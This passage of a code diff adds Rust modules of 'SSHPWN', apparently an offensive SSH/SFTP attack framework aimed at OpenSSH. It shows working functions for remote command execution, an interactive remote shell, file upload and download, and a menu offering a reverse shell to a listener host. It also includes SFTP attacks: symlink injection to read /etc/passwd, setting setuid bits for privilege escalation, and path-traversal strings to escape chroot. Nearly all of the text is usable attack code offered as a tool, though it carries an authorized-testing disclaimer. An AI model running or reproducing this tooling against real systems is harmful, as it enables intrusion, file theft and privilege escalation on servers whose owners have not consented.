attack_exec(host, port, username, password, keyfile, &cmd, 5).await
|
||||
}
|
||||
|
||||
/// Upload file via SFTP
|
||||
pub async fn attack_upload(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
local_path: &str,
|
||||
remote_path: &str,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
// Read local file
|
||||
let content = std::fs::read(local_path)
|
||||
.context(format!("Failed to read local file: {}", local_path))?;
|
||||
|
||||
// Write to remote
|
||||
let mut remote_file = sftp.create(Path::new(remote_path))?;
|
||||
remote_file.write_all(&content)?;
|
||||
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Download file via SFTP
|
||||
pub async fn attack_download(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
remote_path: &str,
|
||||
local_path: &str,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
// Read from remote
|
||||
let mut remote_file = sftp.open(Path::new(remote_path))?;
|
||||
let mut content = Vec::new();
|
||||
remote_file.read_to_end(&mut content)?;
|
||||
|
||||
// Write to local
|
||||
std::fs::write(local_path, &content)
|
||||
.context(format!("Failed to write local file: {}", local_path))?;
|
||||
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Interactive shell - continuous command execution loop
|
||||
pub async fn attack_interactive_shell(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", format!("[PWNED] Interactive shell on {}:{}", host, port).red().bold());
|
||||
println!("{}", "[*] Type 'exit' or 'quit' to disconnect".cyan());
|
||||
println!("{}", "[*] Type '!upload <local> <remote>' to upload files".cyan());
|
||||
println!("{}", "[*] Type '!download <remote> <local>' to download files".cyan());
|
||||
println!();
|
||||
|
||||
// Get initial info
|
||||
if let Ok((_, whoami, _)) = ssh_exec(&sess, "whoami", 5) {
|
||||
if let Ok((_, hostname, _)) = ssh_exec(&sess, "hostname", 5) {
|
||||
println!("{}", format!("[*] Logged in as: {}@{}", whoami.trim(), hostname.trim()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Get initial working directory
|
||||
let mut cwd = String::from("~");
|
||||
if let Ok((_, pwd, _)) = ssh_exec(&sess, "pwd", 5) {
|
||||
cwd = pwd.trim().to_string();
|
||||
}
|
||||
|
||||
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
|
||||
loop {
|
||||
// Print prompt
|
||||
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
// Read command
|
||||
let mut input = String::new();
|
||||
if stdin_reader.read_line(&mut input).await.is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = input.trim();
|
||||
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle special commands
|
||||
if cmd == "exit" || cmd == "quit" {
|
||||
println!("{}", "[*] Disconnecting...".cyan());
|
||||
break;
|
||||
}
|
||||
|
||||
// Handle file upload
|
||||
if cmd.starts_with("!upload ") {
|
||||
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
|
||||
if parts.len() == 3 {
|
||||
let local_path = parts[1];
|
||||
let remote_path = parts[2];
|
||||
match sess.sftp() {
|
||||
Ok(sftp) => {
|
||||
match std::fs::read(local_path) {
|
||||
Ok(content) => {
|
||||
match sftp.create(std::path::Path::new(remote_path)) {
|
||||
Ok(mut f) => {
|
||||
if f.write_all(&content).is_ok() {
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
} else {
|
||||
println!("{}", "[-] Write failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Create failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Read local file failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: !upload <local_path> <remote_path>".yellow());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle file download
|
||||
if cmd.starts_with("!download ") {
|
||||
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
|
||||
if parts.len() == 3 {
|
||||
let remote_path = parts[1];
|
||||
let local_path = parts[2];
|
||||
match sess.sftp() {
|
||||
Ok(sftp) => {
|
||||
match sftp.open(std::path::Path::new(remote_path)) {
|
||||
Ok(mut f) => {
|
||||
let mut content = Vec::new();
|
||||
if f.read_to_end(&mut content).is_ok() {
|
||||
if std::fs::write(local_path, &content).is_ok() {
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
} else {
|
||||
println!("{}", "[-] Write local file failed".red());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Read remote file failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Open failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: !download <remote_path> <local_path>".yellow());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle cd command specially to track cwd
|
||||
if cmd.starts_with("cd ") || cmd == "cd" {
|
||||
let new_dir = if cmd == "cd" { "~" } else { &cmd[3..] };
|
||||
let check_cmd = format!("cd {} && pwd", new_dir);
|
||||
match ssh_exec(&sess, &check_cmd, 10) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 {
|
||||
cwd = stdout.trim().to_string();
|
||||
} else {
|
||||
println!("{}", format!("cd: {}: No such directory", new_dir).red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Validate command input to prevent injection
|
||||
let validated_cmd = validate_command_input(&cmd)
|
||||
.map_err(|e| anyhow!("Invalid command: {}", e))?;
|
||||
|
||||
// Execute regular command (prepend cd to maintain directory context)
|
||||
let full_cmd = format!("cd {} && {}", cwd, validated_cmd);
|
||||
match ssh_exec(&sess, &full_cmd, 60) {
|
||||
Ok((code, stdout, stderr)) => {
|
||||
if !stdout.is_empty() {
|
||||
print!("{}", stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
print!("{}", stderr.red());
|
||||
}
|
||||
if code != 0 && stdout.is_empty() && stderr.is_empty() {
|
||||
println!("{}", format!("Command exited with code: {}", code).yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
println!("{}", "[*] Session closed".cyan());
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
|
||||
// Validate keyfile path if provided
|
||||
if let Some(ref kf) = keyfile {
|
||||
validate_file_path(kf, true)
|
||||
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
|
||||
}
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Environment Variable Injection Test");
|
||||
println!(" 2. Execute Command");
|
||||
println!(" 3. Interactive Shell");
|
||||
println!(" 4. Reverse Shell");
|
||||
println!(" 5. Upload File");
|
||||
println!(" 6. Download File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "1").await?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
let command = prompt_default("Command to execute", "id").await?;
|
||||
let validated_command = validate_command_input(&command)
|
||||
.map_err(|e| anyhow!("Invalid command: {}", e))?;
|
||||
attack_exec(&host, port, &username, password_ref, keyfile_ref, &validated_command, 30).await?;
|
||||
}
|
||||
"3" => {
|
||||
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"4" => {
|
||||
let lhost = prompt("Listener IP (LHOST)").await?;
|
||||
if lhost.is_empty() {
|
||||
return Err(anyhow!("LHOST is required"));
|
||||
}
|
||||
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444").await?.parse().unwrap_or(4444);
|
||||
|
||||
println!();
|
||||
println!("{}", "Available payloads:".cyan());
|
||||
let payloads = get_reverse_shell_payloads();
|
||||
for key in payloads.keys() {
|
||||
println!(" - {}", key);
|
||||
}
|
||||
let payload_type = prompt_default("Payload type", "bash").await?;
|
||||
|
||||
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
|
||||
}
|
||||
"5" => {
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let remote_path = prompt("Remote file path").await?;
|
||||
let validated_local = validate_file_path(&local_path, true)
|
||||
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
|
||||
let validated_remote = validate_file_path(&remote_path, true)
|
||||
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
|
||||
attack_upload(&host, port, &username, password_ref, keyfile_ref, &validated_local, &validated_remote).await?;
|
||||
}
|
||||
"6" => {
|
||||
let remote_path = prompt("Remote file path").await?;
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let validated_remote = validate_file_path(&remote_path, true)
|
||||
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
|
||||
let validated_local = validate_file_path(&local_path, true)
|
||||
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
|
||||
attack_download(&host, port, &username, password_ref, keyfile_ref, &validated_remote, &validated_local).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Session attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,489 @@
|
||||
//! SSHPWN SFTP Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SFTP-SERVER VULNERABILITIES (sftp-server.c):
|
||||
//! - process_symlink() - Symlink target injection (HIGH)
|
||||
//! - process_setstat() - chmod allows setuid via 07777 mask (HIGH)
|
||||
//! - process_open() - Path traversal (HIGH)
|
||||
//! - process_write() - Partial write atomicity issues
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::{normalize_target, validate_file_path};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - SFTP Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH sftp-server.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Symlink Injection (process_symlink) ║".cyan());
|
||||
println!("{}", "║ 2. Setuid Bit Attack (process_setstat 07777) ║".cyan());
|
||||
println!("{}", "║ 3. Path Traversal (process_open) ║".cyan());
|
||||
println!("{}", "║ 4. Partial Write Race (process_write) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// SFTP Symlink Attack - Create symlink to sensitive file
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_symlink() does not validate symlink target.
|
||||
/// Client can create symlinks pointing anywhere, bypassing chroot restrictions.
|
||||
pub async fn attack_sftp_symlink(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_file: &str,
|
||||
link_name: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Symlink Attack on {}", host).cyan());
|
||||
println!("{}", format!("[*] Target file: {}", target_file).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let link_path = link_name
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| format!("/tmp/.symlink_attack_{}", std::process::id()));
|
||||
|
||||
// Create symlink to target (this is the vulnerability)
|
||||
// sftp-server.c:1491: r = symlink(oldpath, newpath);
|
||||
match sftp.symlink(Path::new(target_file), Path::new(&link_path)) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[VULN] Created symlink: {} -> {}", link_path, target_file).red().bold());
|
||||
|
||||
// Try to read through symlink
|
||||
match sftp.open(Path::new(&link_path)) {
|
||||
Ok(mut file) => {
|
||||
let mut content = String::new();
|
||||
if file.read_to_string(&mut content).is_ok() {
|
||||
println!("{}", format!("[PWNED] Read {} via symlink:", target_file).red().bold());
|
||||
println!();
|
||||
// Show first 500 chars
|
||||
let preview: String = content.chars().take(500).collect();
|
||||
println!("{}", preview);
|
||||
println!();
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Read failed (may need permissions): {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&link_path));
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Symlink attack failed: {}", e).red());
|
||||
// Explicit session cleanup on error
|
||||
drop(sess);
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// SFTP chmod Setuid Attack - Set setuid bit on uploaded file
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_setstat() uses 07777 mask.
|
||||
/// This allows setting setuid(04000), setgid(02000), sticky(01000) bits.
|
||||
pub async fn attack_sftp_setuid(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_file: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Setuid Attack on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let test_file = target_file
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| format!("/tmp/setuid_test_{}", std::process::id()));
|
||||
|
||||
// Create test file
|
||||
{
|
||||
let mut file = sftp.create(Path::new(&test_file))?;
|
||||
file.write_all(b"#!/bin/sh\nid\n")?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Created test file: {}", test_file).cyan());
|
||||
|
||||
// Try to set setuid bit (0o4755 = setuid + rwxr-xr-x)
|
||||
// sftp-server.c:1102: r = chmod(name, a.perm & 07777);
|
||||
match sftp.setstat(Path::new(&test_file), ssh2::FileStat {
|
||||
size: None,
|
||||
uid: None,
|
||||
gid: None,
|
||||
perm: Some(0o4755),
|
||||
atime: None,
|
||||
mtime: None,
|
||||
}) {
|
||||
Ok(_) => {
|
||||
// Verify
|
||||
match sftp.stat(Path::new(&test_file)) {
|
||||
Ok(stat) => {
|
||||
if let Some(mode) = stat.perm {
|
||||
let mode_masked = mode & 0o7777;
|
||||
if mode_masked & 0o4000 != 0 {
|
||||
println!("{}", format!("[VULN] Setuid bit set! Mode: {:o}", mode_masked).red().bold());
|
||||
println!("{}", format!("[PWNED] File {} has setuid bit", test_file).red().bold());
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!("{}", format!("[*] Setuid stripped. Mode: {:o}", mode_masked).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Stat failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Chmod failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SFTP Path Traversal - Attempt to access files outside allowed directory
|
||||
pub async fn attack_sftp_traversal(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_path: &str,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Path Traversal on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let traversal_paths = vec![
|
||||
target_path.to_string(),
|
||||
format!("../../../..{}", target_path),
|
||||
format!("....//....//....//..../{}", target_path),
|
||||
format!("/..{}", target_path),
|
||||
format!("/./{}", target_path),
|
||||
];
|
||||
|
||||
for path in &traversal_paths {
|
||||
println!("{}", format!("[*] Trying: {}", path).cyan());
|
||||
|
||||
match sftp.open(Path::new(path)) {
|
||||
Ok(mut file) => {
|
||||
let mut content = String::new();
|
||||
if file.read_to_string(&mut content).is_ok() {
|
||||
println!("{}", "[VULN] Path traversal successful!".red().bold());
|
||||
println!();
|
||||
let preview: String = content.chars().take(200).collect();
|
||||
println!("{}", preview);
|
||||
println!();
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Permission denied") {
|
||||
println!("{}", "[*] Permission denied (chroot may be working)".dimmed());
|
||||
} else if err_str.contains("No such file") {
|
||||
println!("{}", "[*] File not found".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[*] Blocked: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[-] Path traversal blocked".yellow());
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SFTP Partial Write Attack - Exploit atomicity issues in writes
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_write() may not complete writes atomically.
|
||||
pub async fn attack_sftp_partial_write(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Partial Write Attack on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let test_file = format!("/tmp/partial_write_test_{}", std::process::id());
|
||||
|
||||
println!("{}", "[*] Testing partial write scenarios...".cyan());
|
||||
|
||||
// Test 1: Large write that might be split
|
||||
let large_data = vec![b'A'; 1024 * 1024]; // 1MB
|
||||
|
||||
match sftp.create(Path::new(&test_file)) {
|
||||
Ok(mut file) => {
|
||||
match file.write_all(&large_data) {
|
||||
Ok(_) => {
|
||||
// Verify write completed
|
||||
match sftp.stat(Path::new(&test_file)) {
|
||||
Ok(stat) => {
|
||||
if let Some(size) = stat.size {
|
||||
if size as usize == large_data.len() {
|
||||
println!("{}", format!("[+] Full write completed: {} bytes", size).green());
|
||||
} else {
|
||||
println!("{}", format!("[VULN] Partial write! Expected {}, got {}", large_data.len(), size).red().bold());
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Stat failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[*] Write test: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Create failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
println!("{}", "[*] Partial write testing complete".cyan());
|
||||
println!("{}", "[*] Note: Race conditions require concurrent access testing".yellow());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
|
||||
// Validate keyfile path if provided
|
||||
if let Some(ref kf) = keyfile {
|
||||
validate_file_path(kf, true)
|
||||
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
|
||||
}
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Symlink Injection (read sensitive files)");
|
||||
println!(" 2. Setuid Bit Attack (privilege escalation)");
|
||||
println!(" 3. Path Traversal (escape chroot)");
|
||||
println!(" 4. Partial Write Test (race condition)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "5").await?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let target_file = prompt_default("Target file to read", "/etc/passwd").await?;
|
||||
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"3" => {
|
||||
let target_path = prompt_default("Target path", "/etc/passwd").await?;
|
||||
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All SFTP Attacks ===".yellow().bold());
|
||||
println!();
|
||||
|
||||
println!("{}", "--- Attack 1: Symlink Injection ---".cyan());
|
||||
let _ = attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, "/etc/passwd", None).await;
|
||||
|
||||
println!();
|
||||
